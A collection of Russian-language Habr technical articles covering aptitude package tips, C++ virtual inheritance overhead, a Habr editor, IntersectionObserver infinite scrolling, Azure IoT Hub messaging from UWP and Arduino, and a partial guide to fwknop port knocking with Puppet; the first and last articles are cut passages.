sudo aptitude purge package_name
```
Очистить кэш загруженных пакетов (освободить место)
```
aptitude autoclean # удалятся только пакеты неактуальных версий
aptitude clean # очистится весь кэш
```
Установка отдельно скачанного/созданного пакета (для создания пакета из сторонних исходников нужно использовать утилиту [checkinstall](http://wiki.debian.org/CheckInstall) с флагом -D)
```
sudo dpkg -i /path/to/package.deb
```
Для получения доп информации
```
man aptitude
sudo aptitude install aptitude-doc-en
```
и смотрим документацию (/usr/share/doc/aptitude/html/en/index.html), кому быструю справку по поисковым шаблонам, тому сюда — /usr/share/doc/aptitude/html/en/ch02s04.html. Если лень ставить доку, то в сети она [есть](http://algebraicthunk.net/~dburrows/projects/aptitude/doc/en/).
Вводная на Debian Wiki: [wiki.debian.org/Aptitude](http://wiki.debian.org/Aptitude)
##### А теперь то что не очевидно или требует полного прочтения документации
1. Как после update посмотреть какие пакеты будут обновлены?
```
aptitude search ?upgradable
```
также можно юзать (если поставить)
```
sudo daptup
```
но после его установки точно также будет себя вести и обычный update
2. Как узнать что изменилось в пакетах которые будут обновлены?
Можно пробовать
```
sudo aptitude changelog package_name
```
для каждого пакета.
Но лучше поставить apt-listchanges, тогда перед любой установкой обновлений будет показан список изменений, по умолчанию настройки не очень удобные, поэтому лучше перенастроить под себя, например, выбрать формат вывода (пока использую текст, при больших обновлениях наверно pager лучше), не слать писем, спрашивать подтверждения, выводить всю информацию. Для этого нужно запустить
```
sudo dpkg-reconfigure apt-listchanges
```
3. Что делать если обновление что-то поломало и нужно откатиться?
Отката нет, можно попробовать найти предыдущую версию пакета
```
sudo aptitude version package_name
```
и установить её
```
sudo aptitude install package_name=version
```
4. Как найти все пакеты установленные вручную?
есть вариант команды (aptitude search '~i!~M'), но к сожалению он не даёт желаемого результата, так что вопрос остаётся открытым, есть куча способов основанных на анализе логов
```
/var/log/aptitude (+ ротированные куски)
/var/log/installer/initial-status.gz
/var/log/dpkg.log (+ ротированные куски)
```
но простого и готового решения нет, да информация теоретически может быть потеряна при ротациях, нужно конфигурить
5. Как посмотреть список файлов в пакете?
если пакет установлен
```
dpkg -L package_name
```
для любых пакетов поставить apt-file и
```
apt-file list package_name
```
6. Как посмотреть какому пакету принадлежит файл?
```
dpkg -S file_name
```
7. Как удалить все пакеты, где есть key в названии пакета?
```
sudo aptitude purge ~ikey
```
8. Как удалить оставшиеся конфиги от удалённых пакетов?
```
sudo aptitude purge ~c
```
9. Как найти пакет пакет, в котором содержится файл lib.so:
```
apt-file search lib.so
```
10. Как сконвертировать rpm пакет в deb?
```
alien --to-deb /path/to/file.rpm
```
11. Как найти список установленных ядер?
```
dpkg --list linux-* | grep ii
```
12. Как установить пакет из testing или experimental?
На эту тему нужно писать отдельно ([например так](http://www.macfreek.nl/memory/Mixing_Stable_and_Testing_in_Debian)), но если кратко, то команды для этого есть
```
sudo aptitude -t testing package_name
```
или
```
sudo aptitude package_name/testing
```
13. Как удалить метапакет, но оставить одну из зависимостей?
придётся почитать документацию про ключ unmarkauto или глянуть [сюда](http://ascending.wordpress.com/2007/04/12/aptitude-tip-markauto-and-unmarkauto/).
14. Как узнать что попало в файловую систему мимо системы управления пакетами?
Есть утилита cruft, хотя вопрос интерпретации результатов (файла report) пока открыт
```
sudo cruft -d / -r report --ignore /home --ignore /var --ignore /tmp
```
15. Какие есть дополнительные репозитории?
Debian — [wiki.debian.org/UnofficialRepositories](http://wiki.debian.org/UnofficialRepositories)
Ubuntu — множество всяких [PPA](https://launchpad.net/ubuntu/+ppas)
16. Что есть ещё?
[apt-cdrom](http://linux.die.net/man/8/apt-cdrom)
[apt-spy](http://wiki.linuxquestions.org/wiki/Apt-spy)
[auto-apt](https://help.ubuntu.com/community/AutoApt). [заметка на хабре](http://habrahabr.ru/post/150210/)
[apt-key](http://man.he.net/man8/apt-key)
[apt-add-repository](https://help.ubuntu.com/community/add-apt-repository)
Некоторые вещи умеет [только apt-get](http://wiki.debian.org/Aptitude#apt-get_to_aptitude)
Есть альтернативные утилиты для управления пакетами, например [wajig](http://www.togaware.com/linux/survivor/Wajig_Overview.html), который пытается вобрать в себя функционал всех остальных утилит.
17. Как найти пакеты зависящие от данного
```
apt-cache rdepends package_name
```
также может пригодится
```
aptitude why package_name
```
Благодарю всех кто помог своими советами в [рассылке](http://lists.debian.org/debian-russian/2012/08/msg00439.html), жж ([JackYF](http://jackyf.livejournal.com/)) и хабре ( [run4way](http://habrahabr.ru/users/run4way/), [sledopit](http://habrahabr.ru/users/sledopit/), [nazarpc](http://habrahabr.ru/users/nazarpc/), [AgaFonOff](http://habrahabr.ru/users/agafonoff/), [amarao](http://habrahabr.ru/users/amarao/), [traaance](http://habrahabr.ru/users/traaance/), [adrianopol](http://habrahabr.ru/users/adrianopol/), [Karamax](http://habrahabr.ru/users/karamax/)). Замечания и дополнения приветствуются. | https://habr.com/ru/post/150131/ | null | ru | null |
# Виртуальность и оверхед
Я думаю, все знают, что такое наследование или хотя бы слышали о нём. Часто мы используем наследование ради полиморфного поведения объектов. Но задумываемся ли мы о той цене, которую приходится платить за виртуальность? Поставлю вопрос по-другому: каждый ли знает эту цену? Давайте попробуем разобраться в этой проблеме.
В общем случае, выглядит наследование так:
```
class Base
{
int variable;
};
class Child: public Base
{
};
```
При этом, как мы прекрасно знаем, класс Сhild наследует все члены класса Base. Т.е. с точки зрения размеров объектов, сейчас у нас sizeof(Base) = sizeof(Child) и составляет 4 (поскольку sizeof(int) = 4).
Не помешает сразу напомнить, что такое выравнивание. У нас есть два класса:
```
class A1
{
int iv;
double dv;
int iv2;
};
class A2
{
double dv;
int iv;
int iv2;
};
```
Вроде бы они ничем не отличаются друг от друга. Однако их размеры не одинаковы: sizeof(A2) = 16, sizeof(A1) = 24.
Всё дело в расположении переменных внутри класса. Если они имеют разный тип, то их расположение может серьёзно повлиять на размер объекта. В данном случае sizeof(double = 8), т.е 8 + 4 + 4 = 16, но класс A1 при этом имеет больший размер. А всё потому, что:
В итоге мы видим лишние 8 байт, которые добавились из-за того, что double оказался посередине. Во втором же случае картина будет примерно такая:
Но, скорее всего, вы и так это знали.
Теперь давайте вспомним, как мы расплачиваемся за виртуальные функции в классе. Вы, возможно, помните о таблицах виртуальных методов. Стандарт С++ не предусматривает какой-то единой реализации для вычисления адреса функции во время выполнения. Всё сводится к тому, что у нас появляется указатель в каждом классе, где есть хотя бы одна виртуальная функция.
Давайте допишем одну виртуальную функцию классу Base и посмотрим, как изменятся размеры:
```
class Base
{
int variable;
virtual void f() {}
};
class Child: public Base
{
};
```
Размер стал равным 16. 8 — размер указателя 4 — int плюс выравнивание. В 32-х разрядной архитектуре размер будет равен 8. 4 — указатель + 4 int без выравнивания.
Чтобы вам не приходилось верить на слово, приводим код, который сгенерировал Hopper Disassembler v4:
//исходный код
```
class Base
{
public:
int variable;
virtual void f() {}
Base(): variable(10) {}
};
//в main
Base a;
```
Ассемблерный код:
```
; Variables:
; var_8: -8
__ZN4BaseC2Ev: // Base::Base()
0000000100000f70 push rbp ; CODE XREF=__ZN4BaseC1Ev+16
0000000100000f71 mov rbp, rsp
0000000100000f74 mov rax, qword [0x100001000]
0000000100000f7b add rax, 0x10
0000000100000f7f mov qword [rbp+var_8], rdi
0000000100000f83 mov rdi, qword [rbp+var_8]
0000000100000f87 mov qword [rdi], rax
0000000100000f8a mov dword [rdi+8], 0xa
0000000100000f91 pop rbp
0000000100000f92 ret
```
Без виртуальной функции ассемблерный код выглядит так:
```
; Variables:
; var_8: -8
__ZN4BaseC2Ev: // Base::Base()
0000000100000fa0 push rbp ; CODE XREF=__ZN4BaseC1Ev+16
0000000100000fa1 mov rbp, rsp
0000000100000fa4 mov qword [rbp+var_8], rdi
0000000100000fa8 mov rdi, qword [rbp+var_8]
0000000100000fac mov dword [rdi], 0xa
0000000100000fb2 pop rbp
0000000100000fb3 ret
```
Можно увидеть, что во втором случае у нас нет записи какого-либо адреса и переменная записывается без смещения на 8 байт.
Для тех, кто не любит ассемблер, давайте выведем, как это примерно будет выглядеть в памяти:
```
#include
#include
using namespace std;
const int memorysize = 16;
class Base
{
public:
int variable;
//virtual void f() {}
Base(): variable(0xAAAAAAAA) {} //чтобы было видно занятое место этой переменной
};
class Child: public Base
{
};
void PrintMemory(const unsigned char memory[])
{
for (size\_t i = 0; i < memorysize / 8; ++i)
{
for (size\_t j = 0; j < 8; ++j)
{
cout << setw(2) << setfill('0') << uppercase << hex
<< (int)(memory[i \* 8 + j]) << " ";
}
cout << endl;
}
}
int main()
{
unsigned char memory[memorysize];
memset(memory, 0xFF, memorysize \* sizeof(unsigned char)); //заполняем память мусором FF
new (memory) Base; //выделяем память на объект и записываем в memory
PrintMemory(memory);
reinterpret\_cast(memory)->~Base();
return 0;
}
```
Вывод:
```
AA AA AA AA FF FF FF FF
FF FF FF FF FF FF FF FF
```
Раскомментим виртуальную функцию и полюбуемся на результат:
```
E0 30 70 01 01 00 00 00
AA AA AA AA FF FF FF FF
```
Теперь, когда мы это всё вспомнили, поговорим о виртуальном наследовании. Ни для кого не секрет, что в С++ возможно множественное наследование. Это мощная функция, которую лучше не трогать неумелыми руками — это не приведёт ни к чему хорошему. Но не будем о грустном. Самая известная проблема при множественном наследовании — это проблема ромба.
```
class A;
class B: public A;
class C: public A;
class D: public B, public C;
```
В классе D мы получим дублирующиеся члены класса А. Что в этом плохого? Даже если не брать в расчет, что размер класса увеличится на лишние n байт размера класса А, плохо то, что у нас получаются неоднозначности при вызове функций класса А — непонятно, какие именно вызывать: B::A::func или C::A::func. Мы всегда можем устранить подобные неоднозначности явными вызовами, но это не очень удобно. Вот здесь-то в игру и вступает виртуальное наследование. Чтобы не получать дубликат класса А, мы виртуально наследуемся от него:
```
class A;
class B: public virtual A;
class C: public virtual A;
class D: public B, public C;
```
Теперь всё хорошо. Или нет? Какой размер будет у класса D, если у нас в классе А всего один виртуальный метод?
```
cout << sizeof(A) << " " << sizeof(B) << " "
<< sizeof(C) << " " << sizeof(D) << endl;
```
Это интересный вопрос, потому тут всё что зависит от компилятора. Например, Visual Studio 2015 с настройками проекта по умолчанию выдаст: 4 8 8 12.
То есть мы имеем 4 байта на указатель в классе А (далее я буду сокращенно обозначать эти указатели, например, vtbA), дополнительно 4 байта на указатель из-за виртуального наследования для класса B и С (vtbB и vtbC). Наконец в D: 8 + 8 — 4, так как vtbA не дублируется, выходит 12.
А вот gcc 4.2.1 выдаст 8 8 8 16.
Давайте рассмотрим сначала случай без виртуального наследования, потому что результат будет таким же.
8 байт на vtbA, в классах B и С хранятся указатели только на виртуальные таблицы этих классов. Получается, что мы дублируем виртуальные таблицы, но зато не надо хранить vtbA в наследниках. В классе D хранится два адреса: для vtbB и vtbC.
```
0000000100000f7f mov rax, qword [0x100001018]
0000000100000f86 mov rdi, rax
0000000100000f89 add rdi, 0x28
0000000100000f8d add rax, 0x10
0000000100000f91 mov rcx, qword [rbp+var_10]
0000000100000f95 mov qword [rcx], rax
0000000100000f98 mov qword [rcx+8], rdi
0000000100000f9c add rsp, 0x10
…
0000000100001018 dq 0x00000001000010a8
…
__ZTV1D: // vtable for D
00000001000010a8 db 0x00 ; '.' ; DATA XREF=0x100001018
...
00000001000010b0 dq __ZTI1D
00000001000010b8 db 0xc0 ; '.'
...
00000001000010c8 dq __ZTI1D
00000001000010d0 db 0xc0 ; '.'
…
```
Ничего не понятно? Смотрите: мы сохраняем два адреса в 0f95 и 0f98. Рассчитываются они исходя из того адреса, что лежит в 1018, плюс 0x28 в первом случае и 0x10 во втором. Итого мы получаем 10b0 и 10d0.
Теперь рассмотрим случай, когда наследование виртуальное.
В плане ассемблерного кода мало что меняется, у нас также хранится два адреса, но виртуальные таблицы для B, C и D стали значительно больше. Например, таблица для класса D увеличилась более чем в 7 раз!
Сэкономили на размере объекта, но увеличили размеры таблиц. А что если мы будем использовать виртуальное наследование повсюду, как советуют некоторые авторы?
Не приведём уже точных ссылок, но где-то читали, что если допускается мысль о множественном наследовании, то всегда нужно использовать виртуальное наследование, дабы уберечься от дублирования.
Итак, начинаем следовать совету в лоб:
```
class A;
class B: public virtual A;
class C: public virtual A;
class D: public virtual B, public virtual C;
```
Насколько изменится размер D?
Visual Studio 2015 выведет 4 8 8 16, т. е. добавился еще один указатель в классе D. Путём экспериментов мы выяснили, что, если наследоваться виртуально от каждого класса, то студия добавит еще один указатель в текущий класс. Например, если бы мы написали так:
```
class D: public virtual B, public C;
```
или так:
```
class D: public B, public virtual C;
```
то размер остался бы 12 байт.
Не подумайте, что студия экономит память, это вовсе не так. Для стандартных настроек размер указателя 4 байта, а не 8, как в gcc. Так что умножайте результат на 2.
А что gcc 4.2.1? Он вообще не изменит размер объектов, вывод все тот же — 8 8 8 16. Но представляете, что стало с таблицей для D?!
На самом деле, она, конечно, увеличилась, но незначительно. Другой вопрос, как это всё повлияет на последующие иерархии.
В качестве чистого эксперимента (не будем думать, есть ли в этом практическая польза) проверим, что случится с такой иерархией:
```
class A
{
virtual void func() {}
};
class B: public virtual A
{
};
class C: public virtual A
{
};
class D: public virtual B, public virtual C
{
};
class E: public virtual B, public virtual C, public virtual D
{
};
```
В студии размер класса E возрастет на 4, это мы уже выяснили, а в gcc размер D и E составит 16 байт.
Но при этом размер виртуальной таблицы для класса E (а она и так немаленькая, если убрать все виртуальное наследование) возрастёт в 4 раза! Если я правильно всё посчитал, то он уже достигнет половины килобайта или около того.
Какой же вывод можно сделать? Такой же, как и раньше: множественное наследование стоит использовать очень аккуратно, виртуальное наследование не панацея и, так или иначе, мы за него расплачиваемся. Возможно, стоит подумать в сторону интерфейсов и отказаться от виртуального наследования вообще. | https://habr.com/ru/post/327052/ | null | ru | null |
# Редактор для хабра
#### Хабра редактор.
##### Предыстория
Делал для своего [блога](http://www.softcoder.ru)online редактор контента. Причем я привык пользоваться обычным редактором типа notepad++. Я не сторонник WYSIWYG редакторов, поэтому сделал свой редактор на основе обычного textarea. Какие же преимущества у редактора?
1. Удобная панель инструментов в стиле Office 2007 (на скока покажет практика)
2. Поддержка горячих клавиш (почти на весь функционал)
3. Tab ставит именно табуляцию, а не прыгает на следующий элемент (ставит 4 пробела)
4. Shif+Tab удаляет табуляцию
5. Умный Enter (при переносе вставляет табуляцию как у предыдущей строки для выравнивания)
6. Shift + Enter вставляет перенос строки в стиле HTML тег
##### К чему это я клоню?
Мне показалось это удобно по этому я решил, поделиться этим счастьем с другими, и сделал сервис для написания статей для хабра. А так как на хабр пишут много кода, решил реализовать и подцветку кода используемую на моем блоге. А так как добрый хабр вырезает все не угодные ему теги, а я использую библиотеку GeSHi. Пришлось немного доработать напильником, и теперь у хабросообщества появилась возможность писать код в красках. А так как эта библиотека довольно популярна она может подсвечивать более 80 языков. Подцветка реализуется прямо в тексте статьи, надо просто указать класс для тега code вот так `<code class="html"></code >`.
Если не хотите чтобы подцвечивал, то не надо не чего указывать тогда он просто отформатирует отступы без подцветки.
Также был подключен типограф подробнее, что он может, можно посмотреть здесь\*4.
##### Заключение.
Я старался сделать все как можно удобнее, но мнение одного все же это только его мнение. По этому жду комментарии на тему, что не удобно, и что можно реализовать, чтобы повысить юзабилити.Желательно все предложения и баг репорты оставлять на странице посвященной редактору ###### Ссылки по теме
1. [Хабра редактор](http://www.softcoder.ru/habraeditor/)
2. [Страница Хабра редактора](http://softcoder.ru/blog/habraeditor)
3. [GeSHi](http://qbnz.com/highlighter/documentation.php)
4. [Типограф](http://rmcreative.ru/article/programming/typograph/) | https://habr.com/ru/post/50281/ | null | ru | null |
# Делаем таблицу с бесконечной прокруткой без event listener
*Что ж оно так лагает-то?*
Если при рендеринге огромной таблицы с какой-нибудь transition анимацией не делать ничего дополнительно, то приложение будет лагать, а пользователь страдать.
В большинстве случаев когда мы используем event listener для создания таблицы с бесконечной прокруткой, нам не только нужно выполнить вычисления, связанные с вьюпортом и высотой строки, но и написать много логики в обработчике прокрутки, чтобы предотвратить слишком частую перерисовку, так как каждый коллбэк скролла будет вызывать `setState`.
#### Код будет примерно таким:
```
componentDidMount() {
window.addEventListener('scroll', this.handleScroll)
}
handleScroll(e) {
// use window offset and boundingRect
const { ...someAttributes } = window;
const { ...someBoundingRect } = this.component
// some logic prevent re-render
if ( ... ) return;
// do some math
const newIndex = ...
// and how many rows should be rendered
this.setState({index: newIndex })
}
```
**Но есть и другой подход к реализации бесконечной прокрутки таблицы, без знания чего-либо о значениях window или boundingRect.**
Это [**IntersectionObserver**](https://developers.google.com/web/updates/2016/04/intersectionobserver). Определение из [w3c](https://w3c.github.io/IntersectionObserver/):
> Эта спецификация описывает API, который можно использовать, чтобы узнать видимость и положение элементов DOM («targets») относительно содержащехся в них элементов
*При использовании этого метода вам не нужно знать высоту строки, вершину вьюпорта или вообще любое другое значение для выполнения математики.*
Концепция в том, чтобы расставить анкоры с индексами в каждой контрольной точке и каждый раз, когда якорь триггерится, получать значение индекса и перерисовывать таблицу. Благодаря этому не нужно делать какой-нибудь математической магии с высотой DOM и вьюпортом.
*Триггер анкора для индекса 1*
*Рендерим больше строк*
Код с `IntersectionObserver` будет примерно таким.
```
handleSentinel = (c) => {
if(!this.observer) {
// создаём observer
this.observer = new IntersectionObserver(
entries => {
entries.forEach(e => {
// если анкор стригерен, рендерим следующую секцию
if (e.isIntersecting) {
this.setState(
{ cursor: +e.target.getAttribute('index') }
);
}
});
},
{
root: document.querySelector('App'),
rootMargin: '-30px',
}
}
if (!c) return;
// наблюдаем за анкором
this.observer.observe(c)
}
render() {
const blockNum = 5;
return(
...
{MOCK\_DATA.slice(0, (cursor+1) \* blockNum).map(d =>
{
// добавляем анкор в каждую контрольную точку
// например, через каждые 5 строк
d.id % blockNum === 0 ?
: null
}
)}
...
)
}
``` | https://habr.com/ru/post/456046/ | null | ru | null |
# Работаем с Azure IoT устройствами из приложений UWP
[](http://habrahabr.ru/post/303866/)
В продолжение статьи [Отправляем данные с Arduino в Azure IoT Hub](https://habrahabr.ru/post/282912/) я сейчас расскажу о том, как можно считывать и отправлять данные в IoT Hub облака Azure из UWP приложения. Делается это с использованием клиентской библиотеки Microsoft.Azure.Devices.Client. Для мониторинга этих, отправленных в облако сообщений, можно использовать [Device Explorer](https://github.com/Azure/azure-iot-sdks/blob/master/tools/DeviceExplorer/doc/how_to_use_device_explorer.md) или [iothub-explorer](https://github.com/Azure/azure-iot-sdks/tree/master/tools/iothub-explorer).
Кроме того, расскажу о том, как создать простое приложение UWP, отправляющее данные из облака на устройство. Напоследок, приведу пример того, как можно получить сообщение из Azure IoT hub на Arduino MKR1000.
### Имитируем Azure IoT устройство с помощью UWP приложения
Скачиваем [Connected Service for Azure IoT Hub](https://visualstudiogallery.msdn.microsoft.com/e254a3a5-d72e-488e-9bd3-8fee8e0cd1d6) (текущая версия 1.5). Устанавливаем. Создаем проект универсального приложения. Добавляем ссылку на подключенную службу
Нажимаем «Настроить». На выбор нам будет предложено 2 варианта.
Первый вариант классический. В случае если у нас обычный проект без особых требований к безопасности. Строка подключения к IoT хабу будет хранится в коде.
Второй вариант экспериментальный. Устройство регистрируется на Windows Device Portal. Затем после выбора в меню пункта «TPM configuration» необходимо установить TPM (Trusted Platform Module) на устройство и ввести данные ключа из Azure хаба. В результате устройство не будет хранить первичный ключ доступа к Azure. Вместо этого TPM устройства будет генерировать SAS токены с коротким сроком жизни.
Выбрав первый вариант и введя идентификационные данные пользователя Azure, получим окно выбора хаба:
В моем случае выбирать особо не приходится, так как я создал только один хаб. Его и добавляю.
Получаю приглашение выбрать устройство. Опять же, в моем случае, только одно устройство зарегистрировано (пользуюсь бесплатными возможностями Azure)
После выбора устройства происходит установка различных необходимых пакетов:
По завершению установки нам откроется страница с мануалом, который предлагает использовать:
```
SendDeviceToCloudMessageAsync()
```
для отправки сообщений. И для получения сообщений:
```
ReceiveCloudToDeviceMessageAsync()
```
Добавим кнопочку и проверим, получим ли мы сообщение, отправленное с помощью DeviceExplorer-а:
```
private async void btnCheck_Click(object sender, RoutedEventArgs e)
{
string message = await AzureIoTHub.ReceiveCloudToDeviceMessageAsync();
}
```
Если с получением все должно быть понятно, то при отправке сообщений с помощью SendDeviceToCloudMessageAsync отправляется всегда одна и та же строка текста. Рассмотрим код, который находится в файле AzureIoTHub.cs:
```
public static async Task SendDeviceToCloudMessageAsync()
{
var deviceClient = DeviceClient.CreateFromConnectionString(deviceConnectionString, TransportType.Amqp);
#if WINDOWS_UWP
var str = "Hello, Cloud from a UWP C# app!";
#else
var str = "Hello, Cloud from a C# app!";
#endif
var message = new Message(Encoding.ASCII.GetBytes(str));
await deviceClient.SendEventAsync(message);
}
```
Изначально я не совсем понял, почему Task не принимает строку текста в качестве параметра, чтобы отправить именно ее, а отправляет hard-coded значение «Hello…». Оказалось, что это сделано специально для того, чтобы разработчики не копировали код, а изменяли его. Так что можем вынести создание объекта deviceClient куда-нибудь в отдельный метод и вызывать ее в нужном нам месте (при загрузке страницы, например). Ну а таск, выполняющий отправку сообщения, мы уже можем сделать принимающим параметр. У меня, кстати, получилось отправить сообщение и в кодировке UTF8:
```
public static async Task SendDeviceToCloudMessageAsync(string texttosend)
{
var message = new Message(Encoding.UTF8.GetBytes(texttosend));
await deviceClient.SendEventAsync(message);
}
```
Теперь вы можете с помощью Device Explorer получить сообщение или отправить его в UWP приложение.
» Ссылка на англоязычную статью: [Connect your Windows app to Azure IoT Hub with Visual Studio](https://blogs.windows.com/buildingapps/2016/03/03/connect-your-windows-app-to-azure-iot-hub-with-visual-studio/)
» [Ссылка на GitHub страницу проекта Connected Service for Azure IoT Hub](https://github.com/Azure/azure-iot-hub-vs-cs) (если что-то вдруг не так, есть куда сабмиттить баг)
Еще раз уточню, что может возникнуть путаница. Отправлять сообщение можно как с устройства в облако, так и с облака на устройство. Приведу пример приложения UWP, которое на этот раз отправляет сообщение с облака на устройство.
### Отправляем сообщение из облака на устройство с помощью приложения UWP
В менеджере пакетов NuGet необходимо найти по фразе Microsoft.Azure.Devices пакет и установить его. На всякий случай прямая ссылка: [Microsoft Azure IoT Service SDK](https://www.nuget.org/packages/Microsoft.Azure.Devices/)
Добавить пространства имен:
```
using Microsoft.Azure.Devices;
using System.Threading.Tasks;
using System.Text;
```
И следующие переменные:
```
static ServiceClient serviceClient;
static string connectionString = "{строка подключения iot hub}";
```
Где строка подключения берется с портала Azure:
Нам понадобится метод, отправляющий текст на устройство
```
private async static Task SendCloudToDeviceMessageAsync()
{
var commandMessage = new Message(Encoding.UTF8.GetBytes("light on"));
// даем команду включить светодиод
await serviceClient.SendAsync("pseudoDevice", commandMessage);
}
```
Здесь pseudoDevice это id устройства на которое будет отправлено сообщение.
Остается в MainPage добавить после this.InitializeComponent():
```
serviceClient = ServiceClient.CreateFromConnectionString(connectionString);
```
И где-нибудь в событии нажатия на кнопку можно вызвать таск, отправляющий сообщение на устройство:
```
private async void Button_Click(object sender, RoutedEventArgs e)
{
await SendCloudToDeviceMessageAsync();
}
```
Наше UWP приложение готово. Теперь можно отправлять команду «light on» нашему устройству.
### Получение сообщения с Azure IoT хаба платой Arduino MKR1000
С помощью [следующего скетча](https://github.com/programmersommer/Arduino_Read_Azure_IoT_Hub/blob/master/MKR1000-AzureRead.ino) можно получить сообщение из хаба. В случае, если получено сообщение с текстом «light on», Arduino MKR1000 включит светодиод.
Скетч необходимо немного сконфигурировать. Ввести данные вашей Wi-Fi сети:
```
char ssid[] = "xxx"; // SSID имя вашей Wi-Fi точки доступа
char pass[] = "xxxxxxxx"; // пароль вашей сети
```
И данные вашего Azure IoT хаба:
```
char hostname[] = "xxxxxx.azure-devices.net"; // host name address for your Azure IoT Hub
char feeduri[] = "/devices/xxxxxxx/messages/devicebound?api-version=2016-02-03"; // здесь нужно вместо xxxxxxx ввести id устройства
char authSAS[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
```
Как получить строку authSAS (SAS Token) с помощью Device Explorer я описовал в [прошлой статье](https://habrahabr.ru/post/282912/). Это строка, которая начинается с «SharedAccessSignature sr=». | https://habr.com/ru/post/303866/ | null | ru | null |
# CodingFuture + Puppet. Часть VI: актуальные чёрные списки и защищённый стук
Вкратце:
========
> 1. Защита сервисов и открытие портов по стуку криптографически стойким и не воспроизводимым [Single Packet Authorization (SPA)](http://www.cipherdyne.org/fwknop/docs/SPA.html) с [fwknop 2.6.9+](http://www.cipherdyne.org/fwknop/).
> 2. Динамически настраиваемое обновление чёрных списков с **[All Cybercrime IP Feeds by FireHOL](http://iplists.firehol.org/)**.
> 3. Полноценная поддержка `ipset` в **[cfnetwork](https://forge.puppetlabs.com/codingfuture/cfnetwork)**.
> 4. Поддержка собственных чёрных списков.
> 5. Типичные варианты применения.
>
>
>
>
Тематический цикл:
------------------
* *[Часть I: сеть и сетевой фильтр (cfnetwork + cffirehol)](https://habrahabr.ru/post/277085/)*
* *[Часть II: доступ и стандартное окружение (cfauth + cfsystem)](https://habrahabr.ru/post/277309/)*
* *[Часть III: установка Puppet Server (cfpuppetserver)](https://habrahabr.ru/post/278163/)*
* *[Часть IV: централизованное управление (cftotalcontrol)](https://habrahabr.ru/post/279375/)*
* *[Часть V: базы данных (cfdb)](https://habrahabr.ru/post/305108/)*
* ***Часть VI: актуальные чёрные списки и защищённый стук***
Использование в рабочей среде в различных областях применения предъявляет всё больше специфичных требований к настройке сетевого фильтра, что требует соответствующего решения.
Port-knocking или открытие доступа через "простукивание" портов
===============================================================
Предназначение
--------------
Любой публично доступный сервис априори подвержен взлому или просто отказу в обслуживании из-за ограниченных ресурсов на обработку соединений. Самый типичны пример — это SSHd, который весьма просто поддаётся DoS'у со сбоями в доступе для администратора. VPN не является панацеей и сам встаёт под атаку.
Самый эффективный способ — это ограничение доступа на уровне сети по исходящим адресам, но далеко не всегда это возможно: доступ в дороге, динамичные адреса, временные сотрудники и т.п.
История
-------
По некоторым отсылкам тема стала более освещена Martin Krzywinski в 2003 году. Первоначально в конце 90-х для динамического открытия доступа был придуман механизм посылки пакетов в определённой последовательности в ограниченном интервале времени, прям как в остросюжетных фильмах с секретным стуком в дверь. На стороне сервера были различные варианты реализации обработки таких пакетов и открытия доступа. Такой механизм имеет все недостатки общего пароля, передаваемого в открытом виде, и должен быть предан анафеме как telnet и rsh, хотя в некоторых вариантах и поддерживаются временные пароли и некое хэширование.
Множество вариантов реализации перечислено на [www.portknocking.org](http://www.portknocking.org/view/implementations).
Впоследствии, всё же додумались притянуть полноценную криптографию с целью защиты от подслушивания, воспроизведения, подмены данных и поддержки отдельных пользователей. Используя секретные ключи для подписи сообщения и синхронизацию времени с допустимым отклонением, появилась возможность достаточно надёжно посылать команды одним пакетом. Первые публичные отсылки "Single Packet Authorization" (далее SPA) идут к июльской сходке BlackHat в 2005 году.
fwknop — FireWall KNock OPerator
--------------------------------
Первый релиз проекта был в 2004 году и он до сих пор поддерживается. Стандартные пакеты присутствуют в различных дистрибутивах. Изначальный подход был в прослушивании трафика через [pcap](https://en.wikipedia.org/wiki/Pcap), что несколько сомнительно. Далее было накручено множество фич, вплоть до удалённого запуска команд, а-ля poor man's ssh.
Разумеется, даже несмотря на качественный аудит кода, все прибамбасы вызывают опасения для использования, особенно с правами супер-пользователя. Однако, поддержка множества пользователей и поддержка SPA являются серьёзными плюсами.
Только в 2014 году в v2.6.4 был добавлен режим "UDP сервера" без необходимости в pcap, а в конце 2015-го в v2.6.8 добавили поддержку запуска абстрактных команд открытия и закрытия доступа вместо прямого кромсания сетевого фильтра. Именно эти две фичи позволили снять некоторые опасения для применения.
Интеграция fwknop с модулем [cffirehol](https://forge.puppet.com/codingfuture/cffirehol)
----------------------------------------------------------------------------------------
Сервис `fwknop` настраивается и запускается с ограниченными привилегиями и ресурсами для большей безопасности. При удачной аутентификации допускается лишь добавлять необходимый адрес в заранее подготовленные списки (`ipset` рассмотрен далее), а по истечению времени удалять из них.
### 1. Генерируем секретные ключи на клиенте:
```
$ server="my_new_host"; \
fwknop --key-gen --key-gen-file ~/.ssh/fwknop_id_${server}; \
cat ~/.ssh/fwknop_id_${server}
[+] Wrote Rijndael and HMAC keys to: .../.ssh/fwknop_id_my_new_host
KEY_BASE64: WB8/Hh9imafehfoJC/+XF5a2gOuK3zVvGnPVG6ELtLc=
HMAC_KEY_BASE64: AuWdYzJ5MSgrM3gbELS9YyhUYLUW5jqlIRson2MhKn0ZL/5AdSSTbJnrgb5Rqhe1cs4nYFJIeBJzKG5FAqBaMg==
```
### 2. Добавляем пользователей
```
# включаем поддержку fwknop
cffirehol::fwknop::enable: true
# порт по умолчанию, следует поменять
cffirehol::fwknop::port: 62201
# добавляем пользователей
cffirehol::knockers:
portable:
timeout: 3600
key_b64: 'WB8/Hh9imafehfoJC/+XF5a2gOuK3zVvGnPVG6ELtLc='
hmac_key_b64: 'AuWdYzJ5MSgrM3gbELS9YyhUYLUW5jqlIRson2MhKn0ZL/5AdSSTbJnrgb5Rqhe1cs4nYFJIeBJzKG5FAqBaMg=='
home:
timeout: 43200
ipset:
- cfauth_admin
- other_purpose
key_b64: ''
hmac\_key\_b64: ''
```
### 3. Развёртываем puppet на сервере
```
$ sudo /opt/puppetlabs/bin/puppet agent --test
```
### 4. Создаём файл конфигурации `fwknop` клиента.
Требуется `fwknop-client` 2.6.4+ с поддержкой "UDP сервера", который доступен в Debian 9+ и Ubuntu 17+, а для всех остальных .deb систем должны подойти сборки с [LaunchPad](https://launchpad.net/~andvgal/+archive/ubuntu/firehol-bpo) — именно они используются в модуле.
```
[default]
WGET_CMD /usr/bin/wget
SPA_SERVER_PROTO udp
USE_HMAC Y
HMAC_DIGEST_TYPE sha256
RESOLVE_IP_HTTPS Y
# just a placeholder for SPA format
ACCESS tcp/1
[my_new_host]
SPA_SERVER 128.1.2.3
SPA_SERVER_PORT 62201
SPOOF_USER portable
